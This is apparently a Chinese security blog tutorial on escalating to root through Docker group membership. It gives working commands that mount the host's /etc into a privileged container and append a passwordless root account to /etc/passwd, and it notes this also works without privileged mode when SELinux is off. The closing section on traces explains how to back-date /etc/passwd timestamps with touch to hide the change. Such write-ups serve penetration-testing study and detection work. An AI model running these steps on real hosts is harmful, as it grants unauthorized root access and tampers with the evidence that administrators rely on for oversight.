这篇文章上次修改于 513 天前,可能其部分内容已经发生变化,如有疑问可询问作者。
0x01 简介
当我们拿到了一个 Docker 用户组的用户权限时,便可以利用 Docker 来进行提权,在我们创建容器的时候,Docker 提供了一个-v
选项,供用户将容器外的 host 目录映射进容器内,方便的进行容器内外的文件共享,此时,对映射进容器的目录进行操作,容器外对应的目录也会跟着改变,通过对/etc/passwd
进行操作,便可达到提权的目的。
0x02 利用条件
- 掌握 Docker 用户组的用户权限
- 以特权模式启动容器
0x03 实验环境
- CentOS 7.9 x64
- Docker version 1.13.1, build 7d71120/1.13.1
3.1 利用方法
查看本地是否有已下载好的镜像
docker image ls
如果没有,就下载 alpine,alpine 是迷你的 linux 系统
docker pull alpine
以特权模式启动容器
# -i 以交互模式运行容器,通常与 -t 同时使用;
# -t 为容器重新分配一个伪输入终端,通常与 -i 同时使用;
# --privileged=true 特权模式
# -v 挂载目录
docker run -it --privileged=true -v /etc:/etc alpine /bin/sh
向/etc/passwd
中写入一个 root 权限用户 root2
# 写入一个用户组为root、密码为空的用户root2
echo 'root2::0:0::/root:/bin/bash' >>/etc/passwd
登录 root2 以后,可以看到,权限为 root
尝试创建一个新用户 test,并把 test 添加到 root 组,创建成功
使用 test 用户 ssh 登录上服务器,查看权限,为 root 权限
0x04 其他情况
4.1
如果SELinux
是关闭的,那么不用特权模式启动容器也能够向/etc/passwd
中写用户
用命令sestatus
查看SELinux
的状态
开启状态
关闭状态
不用特权模式启动镜像,然后向/etc/passwd
中写用户,可以写入
0x05 痕迹
5.1 进程
当我们启动容器时,进程中会出现该用户启动 docker 的进程。
5.2 文件
本次提权是通过向/etc/passwd
写入用户来完成的,所以/etc/passwd
的访问时间、更改时间、改动时间都会变。
- Access: ATime —— 文件的最近访问时间。只要读取时间,ATime 就会更新。
- Modify: MTime —— 文件的内容最近修改的时间。当文件进行被写的时候,CTime 就会更新。
- Change: CTime —— 文件属性最近修改的时间。当文件的目录被修改,或者文件的所有者,权限等被修改时 CTime 也就会更新。
可以用stat /etc/passwd
命令查看这三种时间,如果要修改访问时间和更改时间,可以用命令touch -d "2021-08-23 15:14:00" /etc/passwd
,但改动时间会变成当前操作时间。
没有评论